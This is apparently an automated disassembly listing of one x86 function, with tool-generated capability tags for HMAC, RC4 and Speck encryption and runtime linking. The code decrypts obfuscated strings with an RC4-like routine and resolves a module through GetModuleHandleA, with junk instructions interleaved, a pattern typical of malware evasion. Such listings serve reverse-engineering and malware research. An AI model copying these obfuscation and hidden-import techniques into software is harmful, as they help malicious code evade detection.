Function at 0x40dd10
Capabilities:
Authenticate hmac
Encrypt data using rc4 ksa
Encrypt data using speck
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x470
fld qword [0x89a578]
fld qword [0x89a578]
fld st(0)
fmul st(1)
fld st(0)
fmul qword [0x8a8d38]
fsub st(1)
fxch st(1)
fmul qword [0x8a1468]
fadd qword [0x8a8d30]
fdivp st(1)
faddp st(2)
fld st(1)
fcomp qword [0x8a8d28]
fnstsw ax
test ah, 0x41
jne 0x40dc4e
fld st(0)
fmul qword [0x8a8d20]
fsubp st(2)
fadd qword [0x89a548]
fcom qword [0x8a8d18]
fnstsw ax
test ah, 1
jne 0x40dc15
fxch st(1)
fst qword [ebp - 0x3c]
fxch st(1)
fstp st(0)
fcomp qword [0x89a578]
push ebx
push esi
push edi
fnstsw ax
test ah, 1
je 0x40dcb4
imul ebp, dword [ebx + 0x56], 0x2e247b4b
jne 0x40dcce
insd dword es:[edi], dx
cmp dword fs:[ecx + 0x67], esp
sub esi, dword [esi + 0x68]
insd dword es:[edi], dx
imul esp, dword [esi], 0x71
jb 0x40dd08
push edx
dec ebp
pop esp
insd dword es:[edi], dx
dec esp
retf 0xd23c
mov dword [ebp - 0x40], 0x40dc99
mov dword [ebp - 8], 0x40dc7a
xor eax, eax
mov byte [ebp + eax - 0x3b8], al
inc eax
cmp eax, 0x100
jb 0x40dcc4
add dword [eax], eax
add byte [edx - 0xf], dh
fld qword [ebp - 0x3c]
mov eax, 0xff
mov byte [ebp - 0x30], 0
mov esi, dword [ebp - 0x30]
xor edi, edi
mov dword [ebp - 0x48], eax
jmp 0x40dcec
mov eax, dword [ebp - 0x48]
mov ebx, 1
mov dword [ebp - 0x38], 0
cmp eax, ebx
jbe 0x40dd04
lea ebx, [ebx + ebx + 1]
cmp ebx, eax
jb 0x40dcfc
cmp edi, 3
ja case.default.0x40dd09
push 0xcbd24ff
into
inc edx
add cl, bl
fld st(0)
and esi, 0xff
jmp dword [edi*4 + 0x42ce0c]
fld st(0)
and esi, 0xff
call fcn.00848444
mov cl, byte [ebp + esi - 0x3b8]
jmp 0x40dd85
fld st(0)
and esi, 0xff
call fcn.00848444
mov cl, byte [ebp + esi - 0x3b8]
shr eax, 8
jmp 0x40dd85
fld st(0)
and esi, 0xff
call fcn.00848444
mov cl, byte [ebp + esi - 0x3b8]
shr eax, 0x10
jmp 0x40dd85
fld st(0)
and esi, 0xff
call fcn.00848444
mov cl, byte [ebp + esi - 0x3b8]
shr eax, 0x18
jmp 0x40dd85
mov eax, dword [ebp - 8]
and esi, 0xff
mov cl, byte [eax + edi - 4]
mov al, byte [ebp + esi - 0x3b8]
add cl, al
inc edi
cmp edi, 0x23
mov byte [ebp - 0x30], cl
jb 0x40dd98
xor edi, edi
add cl, 0x23
mov byte [ebp - 0x30], cl
mov esi, dword [ebp - 0x30]
mov eax, dword [ebp - 0x38]
mov edx, esi
and edx, 0xff
and edx, ebx
inc eax
cmp eax, 0xb
mov dword [ebp - 0x38], eax
jbe 0x40ddb8
mov eax, edx
xor edx, edx
div dword [ebp - 0x48]
mov eax, dword [ebp - 0x48]
cmp edx, eax
ja 0x40dd04
mov ecx, eax
cmp ecx, edx
je 0x40de01
mov al, byte [ebp + edx - 0x3b8]
mov bl, byte [ebp + ecx - 0x3b8]
lea edx, [ebp + edx - 0x3b8]
xor bl, al
mov byte [ebp + ecx - 0x3b8], bl
mov al, bl
mov bl, byte [edx]
xor bl, al
mov byte [edx], bl
mov al, byte [ebp + ecx - 0x3b8]
mov dl, bl
xor al, dl
mov byte [ebp + ecx - 0x3b8], al
dec ecx
mov dword [ebp - 0x48], ecx
jne 0x40dce9
mov dl, byte [ebp - 0x3b1]
and esi, 0xff
mov byte [ebp - 0x18], dl
mov bl, byte [ebp - 0x3b5]
mov al, byte [ebp + esi - 0x3b8]
mov esi, dword [ebp - 0x40]
mov byte [ebp - 0x1c], al
mov cl, byte [ebp - 0x3b3]
mov dl, byte [esi]
mov al, byte [esi + 1]
add dl, 0xc
sub al, 0x3c
shl dl, 4
or al, dl
mov byte [ebp - 0x10], al
mov eax, dword [ebp - 0x1c]
and eax, 0xff
fstp st(0)
mov dl, byte [ebp + eax - 0x3b8]
lea esi, [ebp + eax - 0x3b8]
mov byte [ebp - 0xc], dl
mov edx, dword [ebp - 0x3b7]
mov eax, edx
and eax, 0xff
mov al, byte [ebp + eax - 0x3b8]
add al, bl
inc dl
mov byte [ebp - 8], al
mov byte [ebp - 4], dl
mov edx, dword [ebp - 8]
and edx, 0xff
lea edi, [ebp + edx - 0x3b8]
mov dl, byte [ebp + edx - 0x3b8]
mov byte [esi], dl
mov edx, dword [ebp - 0x18]
and edx, 0xff
mov bl, byte [ebp + edx - 0x3b8]
lea edx, [ebp + edx - 0x3b8]
mov byte [edi], bl
mov ebx, dword [ebp - 4]
and ebx, 0xff
mov dword [ebp - 0x20], edx
lea ebx, [ebp + ebx - 0x3b8]
mov dword [ebp - 0x14], ebx
mov bl, byte [ebx]
mov byte [edx], bl
mov ebx, dword [ebp - 0x14]
mov dl, byte [ebp - 0xc]
mov byte [ebx], dl
mov edx, dword [ebp - 0xc]
and edx, 0xff
mov dword [ebp - 0x30], edx
mov bl, byte [ebp + edx - 0x3b8]
add cl, bl
mov ebx, dword [ebp - 0x20]
mov byte [ebp - 0x24], cl
mov edx, dword [ebp - 0x24]
mov bl, byte [ebx]
and edx, 0xff
mov dl, byte [ebp + edx - 0x3b8]
add edx, ebx
mov bl, byte [esi]
add edx, ebx
xor ebx, ebx
and edx, 0xff
mov esi, 1
mov bl, byte [ebp + edx - 0x3b8]
mov dl, byte [edi]
mov edi, dword [ebp - 0x30]
mov bl, byte [ebp + ebx - 0x3b8]
add edx, edi
and edx, 0xff
xor bl, byte [ebp + edx - 0x3b8]
mov dl, byte [ebp - 0x10]
mov byte [ebp - 0x1c], dl
xor bl, dl
mov edx, dword [ebp - 0x40]
mov byte [ebp - 0x18], bl
lea edi, [edx + 2]
mov dl, byte [edx + 3]
sub dl, 0x3c
mov bl, byte [edi]
mov dword [ebp - 0x48], 2
add bl, 0xc
shl bl, 4
or dl, bl
mov byte [ebp - 0x10], dl
mov edx, dword [ebp - 0x1c]
and edx, 0xff
lea edi, [ebp + edx - 0x3b8]
mov dl, byte [ebp + edx - 0x3b8]
mov byte [ebp - 0xc], dl
mov edx, dword [ebp - 0x14]
mov bl, byte [edx]
mov dl, byte [ebp - 4]
add al, bl
inc dl
mov byte [ebp - 8], al
mov byte [ebp - 4], dl
mov edx, dword [ebp - 8]
and edx, 0xff
mov bl, byte [ebp + edx - 0x3b8]
lea edx, [ebp + edx - 0x3b8]
mov byte [edi], bl
mov ebx, dword [ebp - 0x18]
and ebx, 0xff
mov dword [ebp - 0x2c], edx
lea ebx, [ebp + ebx - 0x3b8]
mov dword [ebp - 0x20], ebx
mov bl, byte [ebx]
mov byte [edx], bl
mov edx, dword [ebp - 4]
mov ebx, dword [ebp - 0x20]
and edx, 0xff
lea edx, [ebp + edx - 0x3b8]
mov dword [ebp - 0x14], edx
mov dl, byte [edx]
mov byte [ebx], dl
mov ebx, dword [ebp - 0x14]
mov dl, byte [ebp - 0xc]
mov byte [ebx], dl
mov edx, dword [ebp - 0xc]
and edx, 0xff
mov dword [ebp - 0x30], edx
mov bl, byte [ebp + edx - 0x3b8]
add cl, bl
mov ebx, dword [ebp - 0x20]
mov byte [ebp - 0x24], cl
mov edx, dword [ebp - 0x24]
mov bl, byte [ebx]
and edx, 0xff
mov dl, byte [ebp + edx - 0x3b8]
add edx, ebx
mov bl, byte [edi]
add edx, ebx
xor ebx, ebx
and edx, 0xff
mov bl, byte [ebp + edx - 0x3b8]
mov edx, dword [ebp - 0x2c]
mov edi, ebx
mov bl, byte [edx]
mov edx, dword [ebp - 0x30]
add ebx, edx
mov dl, byte [ebp + edi - 0x3b8]
and ebx, 0xff
xor dl, byte [ebp + ebx - 0x3b8]
mov bl, byte [ebp - 0x10]
mov byte [ebp - 0x1c], bl
xor dl, bl
mov byte [ebp - 0x18], dl
mov byte [ebp - 0x7c], dl
mov edx, dword [ebp - 0x40]
lea edi, [edx + 2]
jmp 0x40e05b
mov edi, dword [ebp - 0x38]
mov dl, byte [edi + 2]
mov bl, byte [edi + 3]
add edi, 2
add dl, 0xc
shl dl, 4
sub bl, 0x3c
mov dword [ebp - 0x38], edi
or dl, bl
inc esi
mov byte [ebp - 0x10], dl
mov edx, dword [ebp - 0x1c]
and edx, 0xff
lea edi, [ebp + edx - 0x3b8]
mov dl, byte [ebp + edx - 0x3b8]
mov byte [ebp - 0xc], dl
mov edx, dword [ebp - 0x14]
mov bl, byte [edx]
mov dl, byte [ebp - 4]
add al, bl
inc dl
mov byte [ebp - 8], al
mov byte [ebp - 4], dl
mov edx, dword [ebp - 8]
and edx, 0xff
mov bl, byte [ebp + edx - 0x3b8]
lea edx, [ebp + edx - 0x3b8]
mov byte [edi], bl
mov ebx, dword [ebp - 0x18]
and ebx, 0xff
mov dword [ebp - 0x2c], edx
lea ebx, [ebp + ebx - 0x3b8]
mov dword [ebp - 0x20], ebx
mov bl, byte [ebx]
mov byte [edx], bl
mov edx, dword [ebp - 4]
mov ebx, dword [ebp - 0x20]
and edx, 0xff
lea edx, [ebp + edx - 0x3b8]
mov dword [ebp - 0x14], edx
mov dl, byte [edx]
mov byte [ebx], dl
mov ebx, dword [ebp - 0x14]
mov dl, byte [ebp - 0xc]
mov byte [ebx], dl
mov edx, dword [ebp - 0xc]
and edx, 0xff
mov dword [ebp - 0x30], edx
mov bl, byte [ebp + edx - 0x3b8]
add cl, bl
mov ebx, dword [ebp - 0x20]
mov byte [ebp - 0x24], cl
mov edx, dword [ebp - 0x24]
mov bl, byte [ebx]
and edx, 0xff
mov dl, byte [ebp + edx - 0x3b8]
add edx, ebx
mov bl, byte [edi]
add edx, ebx
xor ebx, ebx
and edx, 0xff
mov bl, byte [ebp + edx - 0x3b8]
mov edx, dword [ebp - 0x2c]
mov edi, ebx
mov bl, byte [edx]
mov edx, dword [ebp - 0x30]
add ebx, edx
mov dl, byte [ebp + edi - 0x3b8]
and ebx, 0xff
xor dl, byte [ebp + ebx - 0x3b8]
mov bl, byte [ebp - 0x10]
mov byte [ebp - 0x1c], bl
xor dl, bl
test esi, esi
mov byte [ebp - 0x18], dl
jbe 0x40e16c
mov byte [ebp + esi - 0x7d], dl
mov edx, dword [ebp - 0x48]
dec edx
mov dword [ebp - 0x48], edx
jne 0x40e058
mov edi, dword [ebp - 0x40]
inc esi
xor edx, edx
mov dl, byte [edi + esi*2]
mov bl, byte [edi + esi*2 + 1]
sub edx, 0xc4
sub bl, 0x3c
shl edx, 4
or bl, dl
mov edx, dword [ebp - 0x1c]
and edx, 0xff
mov byte [ebp - 0x10], bl
lea edi, [ebp + edx - 0x3b8]
mov dl, byte [ebp + edx - 0x3b8]
mov byte [ebp - 0xc], dl
mov edx, dword [ebp - 4]
and edx, 0xff
mov bl, byte [ebp + edx - 0x3b8]
mov dl, byte [ebp - 4]
add al, bl
inc dl
mov byte [ebp - 8], al
mov byte [ebp - 4], dl
mov edx, dword [ebp - 8]
and edx, 0xff
mov bl, byte [ebp + edx - 0x3b8]
lea edx, [ebp + edx - 0x3b8]
mov byte [edi], bl
mov ebx, dword [ebp - 0x18]
and ebx, 0xff
mov dword [ebp - 0x2c], edx
lea ebx, [ebp + ebx - 0x3b8]
mov dword [ebp - 0x20], ebx
mov bl, byte [ebx]
mov byte [edx], bl
mov edx, dword [ebp - 4]
mov ebx, dword [ebp - 0x20]
and edx, 0xff
lea edx, [ebp + edx - 0x3b8]
mov dword [ebp - 0x14], edx
mov dl, byte [edx]
mov byte [ebx], dl
mov ebx, dword [ebp - 0x14]
mov dl, byte [ebp - 0xc]
mov byte [ebx], dl
mov edx, dword [ebp - 0xc]
and edx, 0xff
mov dword [ebp - 0x30], edx
mov bl, byte [ebp + edx - 0x3b8]
add cl, bl
mov ebx, dword [ebp - 0x20]
mov byte [ebp - 0x24], cl
mov edx, dword [ebp - 0x24]
mov bl, byte [ebx]
and edx, 0xff
mov dl, byte [ebp + edx - 0x3b8]
add edx, ebx
mov bl, byte [edi]
add edx, ebx
xor ebx, ebx
and edx, 0xff
mov bl, byte [ebp + edx - 0x3b8]
mov edx, dword [ebp - 0x2c]
mov edi, ebx
mov bl, byte [edx]
mov edx, dword [ebp - 0x30]
add ebx, edx
mov dl, byte [ebp + edi - 0x3b8]
and ebx, 0xff
xor dl, byte [ebp + ebx - 0x3b8]
mov bl, byte [ebp - 0x10]
mov byte [ebp - 0x1c], bl
xor dl, bl
test esi, esi
mov byte [ebp - 0x18], dl
jbe 0x40e298
mov byte [ebp + esi - 0x7d], dl
mov edx, dword [ebp - 0x40]
inc esi
xor ebx, ebx
mov bl, byte [edx + esi*2 + 1]
lea edi, [edx + esi*2]
xor edx, edx
sub ebx, 0x3c
mov dl, byte [edi]
sub edx, 0xc4
shl edx, 4
or dl, bl
mov byte [ebp - 0x10], dl
mov edx, dword [ebp - 0x1c]
and edx, 0xff
lea edi, [ebp + edx - 0x3b8]
mov dl, byte [ebp + edx - 0x3b8]
mov byte [ebp - 0xc], dl
mov edx, dword [ebp - 0x14]
mov bl, byte [edx]
mov dl, byte [ebp - 4]
add al, bl
inc dl
mov byte [ebp - 8], al
mov byte [ebp - 4], dl
mov edx, dword [ebp - 8]
and edx, 0xff
mov bl, byte [ebp + edx - 0x3b8]
lea edx, [ebp + edx - 0x3b8]
mov byte [edi], bl
mov ebx, dword [ebp - 0x18]
and ebx, 0xff
mov dword [ebp - 0x2c], edx
lea ebx, [ebp + ebx - 0x3b8]
mov dword [ebp - 0x20], ebx
mov bl, byte [ebx]
mov byte [edx], bl
mov edx, dword [ebp - 4]
mov ebx, dword [ebp - 0x20]
and edx, 0xff
lea edx, [ebp + edx - 0x3b8]
mov dword [ebp - 0x14], edx
mov dl, byte [edx]
mov byte [ebx], dl
mov ebx, dword [ebp - 0x14]
mov dl, byte [ebp - 0xc]
mov byte [ebx], dl
mov edx, dword [ebp - 0xc]
and edx, 0xff
mov dword [ebp - 0x30], edx
mov bl, byte [ebp + edx - 0x3b8]
add cl, bl
mov ebx, dword [ebp - 0x20]
mov byte [ebp - 0x24], cl
mov edx, dword [ebp - 0x24]
mov bl, byte [ebx]
and edx, 0xff
mov dl, byte [ebp + edx - 0x3b8]
add edx, ebx
mov bl, byte [edi]
add edx, ebx
xor ebx, ebx
and edx, 0xff
mov bl, byte [ebp + edx - 0x3b8]
mov edx, dword [ebp - 0x2c]
mov edi, ebx
mov bl, byte [edx]
mov edx, dword [ebp - 0x30]
add ebx, edx
mov dl, byte [ebp + edi - 0x3b8]
and ebx, 0xff
xor dl, byte [ebp + ebx - 0x3b8]
mov bl, byte [ebp - 0x10]
mov byte [ebp - 0x1c], bl
xor dl, bl
test esi, esi
mov byte [ebp - 0x18], dl
jbe 0x40e3b0
mov byte [ebp + esi - 0x7d], dl
lea ebx, [esi + 1]
cmp ebx, 9
jge 0x40e4ef
mov edx, dword [ebp - 0x40]
lea edi, [edx + esi*2]
mov edx, 9
sub edx, ebx
mov dword [ebp - 0x48], edx
jmp 0x40e3d1
mov edi, dword [ebp - 0x38]
mov dl, byte [edi + 2]
mov bl, byte [edi + 3]
add edi, 2
add dl, 0xc
shl dl, 4
sub bl, 0x3c
mov dword [ebp - 0x38], edi
or dl, bl
inc esi
mov byte [ebp - 0x10], dl
mov edx, dword [ebp - 0x1c]
and edx, 0xff
lea edi, [ebp + edx - 0x3b8]
mov dl, byte [ebp + edx - 0x3b8]
mov byte [ebp - 0xc], dl
mov edx, dword [ebp - 0x14]
mov bl, byte [edx]
mov dl, byte [ebp - 4]
add al, bl
inc dl
mov byte [ebp - 8], al
mov byte [ebp - 4], dl
mov edx, dword [ebp - 8]
and edx, 0xff
mov bl, byte [ebp + edx - 0x3b8]
lea edx, [ebp + edx - 0x3b8]
mov byte [edi], bl
mov ebx, dword [ebp - 0x18]
and ebx, 0xff
mov dword [ebp - 0x2c], edx
lea ebx, [ebp + ebx - 0x3b8]
mov dword [ebp - 0x20], ebx
mov bl, byte [ebx]
mov byte [edx], bl
mov edx, dword [ebp - 4]
mov ebx, dword [ebp - 0x20]
and edx, 0xff
lea edx, [ebp + edx - 0x3b8]
mov dword [ebp - 0x14], edx
mov dl, byte [edx]
mov byte [ebx], dl
mov ebx, dword [ebp - 0x14]
mov dl, byte [ebp - 0xc]
mov byte [ebx], dl
mov edx, dword [ebp - 0xc]
and edx, 0xff
mov dword [ebp - 0x30], edx
mov bl, byte [ebp + edx - 0x3b8]
add cl, bl
mov ebx, dword [ebp - 0x20]
mov byte [ebp - 0x24], cl
mov edx, dword [ebp - 0x24]
mov bl, byte [ebx]
and edx, 0xff
mov dl, byte [ebp + edx - 0x3b8]
add edx, ebx
mov bl, byte [edi]
add edx, ebx
xor ebx, ebx
and edx, 0xff
mov bl, byte [ebp + edx - 0x3b8]
mov edx, dword [ebp - 0x2c]
mov edi, ebx
mov bl, byte [edx]
mov edx, dword [ebp - 0x30]
add ebx, edx
mov dl, byte [ebp + edi - 0x3b8]
and ebx, 0xff
xor dl, byte [ebp + ebx - 0x3b8]
mov bl, byte [ebp - 0x10]
mov byte [ebp - 0x1c], bl
xor dl, bl
test esi, esi
mov byte [ebp - 0x18], dl
jbe 0x40e4e2
mov byte [ebp + esi - 0x7d], dl
mov edx, dword [ebp - 0x48]
dec edx
mov dword [ebp - 0x48], edx
jne 0x40e3ce
mov edi, dword [ebp - 0x40]
inc esi
mov bl, byte [edi + esi*2]
mov dl, byte [edi + esi*2 + 1]
add bl, 0xc
sub dl, 0x3c
shl bl, 4
or dl, bl
mov byte [ebp - 0x10], dl
mov edx, dword [ebp - 0x1c]
and edx, 0xff
lea edi, [ebp + edx - 0x3b8]
mov dl, byte [ebp + edx - 0x3b8]
mov byte [ebp - 0xc], dl
mov edx, dword [ebp - 4]
and edx, 0xff
mov bl, byte [ebp + edx - 0x3b8]
mov dl, byte [ebp - 4]
add al, bl
inc dl
mov byte [ebp - 8], al
mov byte [ebp - 4], dl
mov edx, dword [ebp - 8]
and edx, 0xff
mov bl, byte [ebp + edx - 0x3b8]
lea edx, [ebp + edx - 0x3b8]
mov byte [edi], bl
mov ebx, dword [ebp - 0x18]
and ebx, 0xff
mov dword [ebp - 0x2c], edx
lea ebx, [ebp + ebx - 0x3b8]
mov dword [ebp - 0x20], ebx
mov bl, byte [ebx]
mov byte [edx], bl
mov edx, dword [ebp - 4]
mov ebx, dword [ebp - 0x20]
and edx, 0xff
lea edx, [ebp + edx - 0x3b8]
mov dword [ebp - 0x14], edx
mov dl, byte [edx]
mov byte [ebx], dl
mov ebx, dword [ebp - 0x14]
mov dl, byte [ebp - 0xc]
mov byte [ebx], dl
mov edx, dword [ebp - 0xc]
and edx, 0xff
mov dword [ebp - 0x30], edx
mov bl, byte [ebp + edx - 0x3b8]
add cl, bl
mov ebx, dword [ebp - 0x20]
mov byte [ebp - 0x24], cl
mov edx, dword [ebp - 0x24]
mov bl, byte [ebx]
and edx, 0xff
mov dl, byte [ebp + edx - 0x3b8]
add edx, ebx
mov bl, byte [edi]
add edx, ebx
xor ebx, ebx
and edx, 0xff
mov bl, byte [ebp + edx - 0x3b8]
mov edx, dword [ebp - 0x2c]
mov edi, ebx
mov bl, byte [edx]
mov edx, dword [ebp - 0x30]
add ebx, edx
mov dl, byte [ebp + edi - 0x3b8]
and ebx, 0xff
xor dl, byte [ebp + ebx - 0x3b8]
mov bl, byte [ebp - 0x10]
mov byte [ebp - 0x1c], bl
xor dl, bl
test esi, esi
mov byte [ebp - 0x18], dl
jbe 0x40e609
mov byte [ebp + esi - 0x7d], dl
mov edi, dword [ebp - 0x40]
inc esi
mov bl, byte [edi + esi*2]
mov dl, byte [edi + esi*2 + 1]
add bl, 0xc
sub dl, 0x3c
shl bl, 4
or dl, bl
mov byte [ebp - 0x10], dl
mov edx, dword [ebp - 0x1c]
and edx, 0xff
lea edi, [ebp + edx - 0x3b8]
mov dl, byte [ebp + edx - 0x3b8]
mov byte [ebp - 0xc], dl
mov edx, dword [ebp - 0x14]
mov bl, byte [edx]
mov dl, byte [ebp - 4]
add al, bl
inc dl
mov byte [ebp - 8], al
mov byte [ebp - 4], dl
mov edx, dword [ebp - 8]
and edx, 0xff
mov bl, byte [ebp + edx - 0x3b8]
lea edx, [ebp + edx - 0x3b8]
mov byte [edi], bl
mov ebx, dword [ebp - 0x18]
and ebx, 0xff
mov dword [ebp - 0x2c], edx
lea ebx, [ebp + ebx - 0x3b8]
mov dword [ebp - 0x20], ebx
mov bl, byte [ebx]
mov byte [edx], bl
mov edx, dword [ebp - 4]
mov ebx, dword [ebp - 0x20]
and edx, 0xff
lea edx, [ebp + edx - 0x3b8]
mov dword [ebp - 0x14], edx
mov dl, byte [edx]
mov byte [ebx], dl
mov ebx, dword [ebp - 0x14]
mov dl, byte [ebp - 0xc]
mov byte [ebx], dl
mov edx, dword [ebp - 0xc]
and edx, 0xff
mov dword [ebp - 0x30], edx
mov bl, byte [ebp + edx - 0x3b8]
add cl, bl
mov ebx, dword [ebp - 0x20]
mov byte [ebp - 0x24], cl
mov edx, dword [ebp - 0x24]
mov bl, byte [ebx]
and edx, 0xff
mov dl, byte [ebp + edx - 0x3b8]
add edx, ebx
mov bl, byte [edi]
add edx, ebx
xor ebx, ebx
and edx, 0xff
mov bl, byte [ebp + edx - 0x3b8]
mov edx, dword [ebp - 0x2c]
mov edi, ebx
mov bl, byte [edx]
mov edx, dword [ebp - 0x30]
add ebx, edx
mov dl, byte [ebp + edi - 0x3b8]
and ebx, 0xff
xor dl, byte [ebp + ebx - 0x3b8]
mov bl, byte [ebp - 0x10]
xor dl, bl
test esi, esi
mov byte [ebp - 0x18], dl
jbe 0x40e715
mov byte [ebp + esi - 0x7d], dl
mov edx, dword [ebp - 0x10]
inc esi
and edx, 0xff
lea edi, [ebp + edx - 0x3b8]
mov dl, byte [ebp + edx - 0x3b8]
mov byte [ebp - 0xc], dl
mov edx, dword [ebp - 0x14]
mov bl, byte [edx]
add al, bl
mov bl, byte [ebp - 4]
mov byte [ebp - 8], al
mov eax, dword [ebp - 8]
and eax, 0xff
inc bl
mov byte [ebp - 4], bl
mov dl, byte [ebp + eax - 0x3b8]
lea eax, [ebp + eax - 0x3b8]
mov byte [edi], dl
mov edx, dword [ebp - 0x18]
and edx, 0xff
mov bl, byte [ebp + edx - 0x3b8]
lea edx, [ebp + edx - 0x3b8]
mov byte [eax], bl
mov ebx, dword [ebp - 4]
and ebx, 0xff
mov dword [ebp - 0x20], edx
test esi, esi
lea ebx, [ebp + ebx - 0x3b8]
mov dword [ebp - 0x14], ebx
mov bl, byte [ebx]
mov byte [edx], bl
mov ebx, dword [ebp - 0x14]
mov dl, byte [ebp - 0xc]
mov byte [ebx], dl
jbe 0x40e80f
mov edx, dword [ebp - 0xc]
mov al, byte [eax]
and edx, 0xff
mov dword [ebp - 0x30], edx
mov edx, dword [ebp - 0x40]
mov bl, byte [edx + esi*2 + 1]
mov dl, byte [edx + esi*2]
sub dl, 4
sub bl, 0x3c
shl dl, 4
or bl, dl
mov edx, dword [ebp - 0x30]
mov dl, byte [ebp + edx - 0x3b8]
add dl, cl
and edx, 0xff
mov cl, byte [ebp + edx - 0x3b8]
mov dl, byte [edi]
add ecx, edx
mov edx, dword [ebp - 0x20]
mov edi, dword [ebp - 0x30]
mov dl, byte [edx]
add eax, edi
add ecx, edx
xor edx, edx
and ecx, 0xff
and eax, 0xff
mov dl, byte [ebp + ecx - 0x3b8]
mov cl, byte [ebp + edx - 0x3b8]
xor bl, cl
mov cl, byte [ebp + eax - 0x3b8]
xor bl, cl
mov byte [ebp + esi - 0x7d], bl
mov byte [ebp - 0x72], 0
lea ecx, [ebp - 0x7c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
fld qword [0x89a578]
fld qword [0x89a578]
mov dword [ebp - 0x1d8], eax
fld st(0)
fmul st(1)
fld st(0)
fmul qword [0x8a8d10]
fsub st(1)
fxch st(1)
fmul qword [0x8a8d08]
fadd qword [0x8a8d00]
fdivp st(1)
faddp st(2)
fld st(1)
fcomp qword [0x8a8cf8]
fnstsw ax
test ah, 0x41
jne 0x40e868
fld st(0)
fmul qword [0x8a8cf0]
fsubp st(2)
fadd qword [0x8a1448]
fcom qword [0x8a8ce8]
fnstsw ax
test ah, 1
jne 0x40e82f
fxch st(1)
fst qword [ebp - 0x4c]
fxch st(1)
fstp st(0)
fcomp qword [0x89a578]
fnstsw ax
test ah, 1
je 0x40e8bf
sub byte [ecx], ch
bound ebp, qword [edx + 0x59]
cmp eax, 0x6a515d47
pop esi
inc eax
pop eax
jne 0x40e8de
push 0x90109004
push cs
xchg ebx, eax
jnp 0x8d5071c0
push es
lea eax, [0x6921187]
xchg dword [eax], ecx
xchg dword [edi], ecx
xchg ebp, eax
jmp 0x40f423
mov dword [ebp - 0x38], 0x40e8a2
mov dword [ebp - 8], 0x40e891
xor eax, eax
mov byte [ebp + eax - 0x3b8], al
inc eax
cmp eax, 0x100
jb 0x40e8cf
fld qword [ebp - 0x4c]
mov byte [ebp - 0x40], 0
mov esi, dword [ebp - 0x40]
xor edi, edi
mov dword [ebp - 0x30], 0xff
mov eax, dword [ebp - 0x30]
mov ebx, 1
cmp eax, ebx
mov dword [ebp - 0x48], 0
jbe 0x40e90c
lea ebx, [ebx + ebx + 1]
cmp ebx, eax
jb 0x40e904
cmp edi, 3
ja case.default.0x40e911
jmp dword [edi*4 + 0x42ce1c]
fld st(0)
and esi, 0xff
call fcn.00848444
mov cl, byte [ebp + esi - 0x3b8]
jmp 0x40e98d
fld st(0)
and esi, 0xff
call fcn.00848444
mov cl, byte [ebp + esi - 0x3b8]
shr eax, 8
jmp 0x40e98d
fld st(0)
and esi, 0xff
call fcn.00848444
mov cl, byte [ebp + esi - 0x3b8]
shr eax, 0x10
jmp 0x40e98d
fld st(0)
and esi, 0xff
call fcn.00848444
mov cl, byte [ebp + esi - 0x3b8]
shr eax, 0x18
jmp 0x40e98d
mov edx, dword [ebp - 8]
and esi, 0xff
mov cl, byte [edx + edi - 4]
mov al, byte [ebp + esi - 0x3b8]
add cl, al
inc edi
cmp edi, 0x15
mov byte [ebp - 0x40], cl
jb 0x40e9a0
xor edi, edi
add cl, 0x15
mov byte [ebp - 0x40], cl
mov esi, dword [ebp - 0x40]
mov eax, dword [ebp - 0x48]
mov edx, esi
and edx, 0xff
and edx, ebx
inc eax
cmp eax, 0xb
mov dword [ebp - 0x48], eax
jbe 0x40e9c0
mov eax, edx
xor edx, edx
div dword [ebp - 0x30]
mov eax, dword [ebp - 0x30]
cmp eax, edx
jb 0x40e90c
je 0x40e9f8
mov bl, byte [ebp + eax - 0x3b8]
lea edx, [ebp + edx - 0x3b8]
lea ecx, [ebp + eax - 0x3b8]
mov al, byte [edx]
xor bl, al
mov byte [ecx], bl
mov al, bl
mov bl, byte [edx]
xor bl, al
mov byte [edx], bl
mov al, byte [ecx]
mov dl, bl
xor al, dl
mov byte [ecx], al
mov eax, dword [ebp - 0x30]
dec eax
mov dword [ebp - 0x30], eax
jne 0x40e8f1
mov cl, byte [ebp - 0x3b3]
mov dl, byte [ebp - 0x3b1]
and esi, 0xff
mov byte [ebp - 0x20], cl
mov ecx, dword [ebp - 0x38]
mov byte [ebp - 8], dl
mov al, byte [ebp + esi - 0x3b8]
mov bl, byte [ebp - 0x3b5]
mov byte [ebp - 0x1c], al
mov al, byte [ecx]
mov edx, dword [ebp - 0x1c]
mov cl, byte [ecx + 1]
and edx, 0xff
add al, 0xd
shl al, 4
add cl, 0x79
lea esi, [ebp + edx - 0x3b8]
mov edx, dword [ebp - 0x3b7]
or al, cl
mov cl, byte [esi]
mov byte [ebp - 0x1c], al
mov byte [ebp - 0xc], cl
mov ecx, edx
and ecx, 0xff
fstp st(0)
mov cl, byte [ebp + ecx - 0x3b8]
add cl, bl
inc dl
mov byte [ebp - 0x30], cl
mov byte [ebp - 4], dl
mov edx, dword [ebp - 0x30]
and edx, 0xff
lea edi, [ebp + edx - 0x3b8]
mov dl, byte [ebp + edx - 0x3b8]
mov byte [esi], dl
mov edx, dword [ebp - 8]
and edx, 0xff
mov bl, byte [ebp + edx - 0x3b8]
lea edx, [ebp + edx - 0x3b8]
mov byte [edi], bl
mov ebx, dword [ebp - 4]
and ebx, 0xff
mov dword [ebp - 0x10], edx
lea ebx, [ebp + ebx - 0x3b8]
mov dword [ebp - 0x2c], ebx
mov bl, byte [ebx]
mov byte [edx], bl
mov ebx, dword [ebp - 0x2c]
mov dl, byte [ebp - 0xc]
mov byte [ebx], dl
mov edx, dword [ebp - 0xc]
mov bl, byte [ebp - 0x20]
and edx, 0xff
mov dword [ebp - 0x18], edx
mov dl, byte [ebp + edx - 0x3b8]
add bl, dl
mov byte [ebp - 0x20], bl
mov edx, dword [ebp - 0x20]
mov ebx, dword [ebp - 0x10]
and edx, 0xff
mov dl, byte [ebp + edx - 0x3b8]
mov bl, byte [ebx]
add edx, ebx
mov bl, byte [esi]
mov esi, dword [ebp - 0x18]
add edx, ebx
and edx, 0xff
xor ebx, ebx
mov bl, byte [ebp + edx - 0x3b8]
mov dl, byte [edi]
add edx, esi
mov bl, byte [ebp + ebx - 0x3b8]
and edx, 0xff
xor bl, byte [ebp + edx - 0x3b8]
mov edx, dword [ebp - 0x38]
lea esi, [edx + 2]
xor bl, al
mov byte [ebp - 8], bl
mov eax, 1
mov dl, byte [esi]
add dl, 0xd
mov bl, byte [esi + 1]
mov dword [ebp - 0x48], 2
shl dl, 4
add bl, 0x79
or dl, bl
